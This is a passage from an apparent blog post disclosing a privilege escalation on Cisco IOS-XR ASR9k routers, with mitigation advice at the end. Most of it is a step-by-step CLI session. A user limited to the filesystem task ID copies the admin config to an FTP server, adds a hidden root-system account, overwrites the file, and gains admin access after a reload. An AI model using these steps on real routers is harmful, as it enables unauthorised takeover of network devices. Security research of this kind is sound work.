Task:                admin  : READ    WRITE    EXECUTE    DEBUG
Task:                 ancp  : READ    WRITE    EXECUTE    DEBUG
Task:                  atm  : READ    WRITE    EXECUTE    DEBUG
Task:       basic-services  : READ    WRITE    EXECUTE    DEBUG
Task:                 bcdl  : READ    WRITE    EXECUTE    DEBUG
Task:                  bfd  : READ    WRITE    EXECUTE    DEBUG
Task:                  bgp  : READ    WRITE    EXECUTE    DEBUG

The above happens only when you have set the rommon variable to use a different configuration file.

Exactly the same thing can happen for the admin configuration too. It's even easier there, because you can just upload a new file and overwrite the current one, without having to change the rommon variables. Then you'll get root access to the admin mode, which means you have admin access to the SDR too.

! check our current user credentials
RP/0/RSP0/CPU0:asr9k#sh user task
Task:           filesystem  :                  EXECUTE

! no admin access is allowed
RP/0/RSP0/CPU0:asr9k#admin
% This command is not authorized

! view the current admin config file
RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg
!! IOS XR Admin Configuration 3.9.1
username root
 group root-system
 secret 5 xxx
!
end

! transfer the admin config file to a ftp server
RP/0/RSP0/CPU0:asr9k#copy disk0:config/admin/admin.cfg ftp://10.21.8.24/test-config
Destination filename [test-config]?
Writing ftp://10.21.8.24/test-config
C
384 bytes copied in      0 sec

! edit the admin config file and add a 2nd root user
!! IOS XR Admin Configuration 3.9.1
username root
 group root-system
 secret 5 xxx
!
username test-root
 group root-system
 secret 5 xxx
!
end

! upload the new admin config file and overwrite the old one
RP/0/RSP0/CPU0:asr9k#copy ftp://10.21.8.24/test-config disk0:config/admin/admin.cfg
Destination filename [/disk0:/config/admin/admin.cfg]?
Copy : Destination exists, overwrite ?[confirm]
Accessing ftp://10.21.8.24/test-config
C
465 bytes copied in      0 sec

! view the new admin config file
RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg
!! IOS XR Admin Configuration 3.9.1
username root
 group root-system
 secret 5 xxx
!
username test-root
 group root-system
 secret 5 xxx
!
end

! wait for the admin (or persuade him) to make a reload
...

! test the new root account ;)
RP/0/RSP0/CPU0:asr9k#sh user
test-root
RP/0/RSP0/CPU0:asr9k#sh user task
Task:                  aaa  : READ    WRITE    EXECUTE    DEBUG
Task:                  acl  : READ    WRITE    EXECUTE    DEBUG
Task:                admin  : READ    WRITE    EXECUTE    DEBUG
Task:                 ancp  : READ    WRITE    EXECUTE    DEBUG
Task:                  atm  : READ    WRITE    EXECUTE    DEBUG
Task:       basic-services  : READ    WRITE    EXECUTE    DEBUG
Task:                 bcdl  : READ    WRITE    EXECUTE    DEBUG
...

! admin access is now allowed
RP/0/RSP0/CPU0:asr9k#admin
RP/0/RSP0/CPU0:asr9k(admin)#

What seems strange to me is that the primary configuration in IOS-XR is stored in binary (SysDB) format (you can find it in the same path as above) and the secondary one (which is in ASCII format) should be used only in case of emergency (corruption?). I guess a possible inconsistency between these 2 configurations after the reload, makes the ASCII configuration override the binary one. Keep in mind that while doing the reload, there are no warning messages about configuration inconsistencies.

Admin mode
If the actual admin executes "clear configuration inconsistency" or "cfs check" while in admin mode, the ASCII configuration you just uploaded will be updated by the current running configuration, so the changes will be lost. But, if a reload is executed from admin mode without first giving the above commands, then the test user will get root access after the reload.

SDR mode
If a reload is executed while on SDR, regardless of whether the above two commands are executed too, then there won't be any effect on the admin configurations and the test user will again get root access after the reload. After all, how often do you use the admin EXEC mode?

Imho, filesystem permissions should get re-organized. Critical files or "dynamic" paths where critical files reside should be available under a new Task ID.

Until the above is fixed, you should not allow every user to use the filesystem Task ID, unless there is absolute need to give the above permissions.

If you want to have better control of your users' permissions you should think of using an external aaa server (i.e. tacacs) and apply attributes that restrict them in executing specific commands with specific arguments.

Notes:
1) The availability of configuration modes always depends on the software packages that are installed on your system and on the router platform that you are using.
2) You can find a list of all Task IDs under IOS-XR 4.0 and their required permissions here.
3) I'm sure someone else will know a lot more about the IOS-XR internals (after all, everything written above was found by one week's experimentation). Please feel free to submit any corrections.
4) If you happen to have some extra permissions regarding utilities, then you can probably modify the configuration files online, by using xargs,perl,vim.

 
Creative Commons License
This work is licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License.
Creative Commons License
This work is licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 Greece License.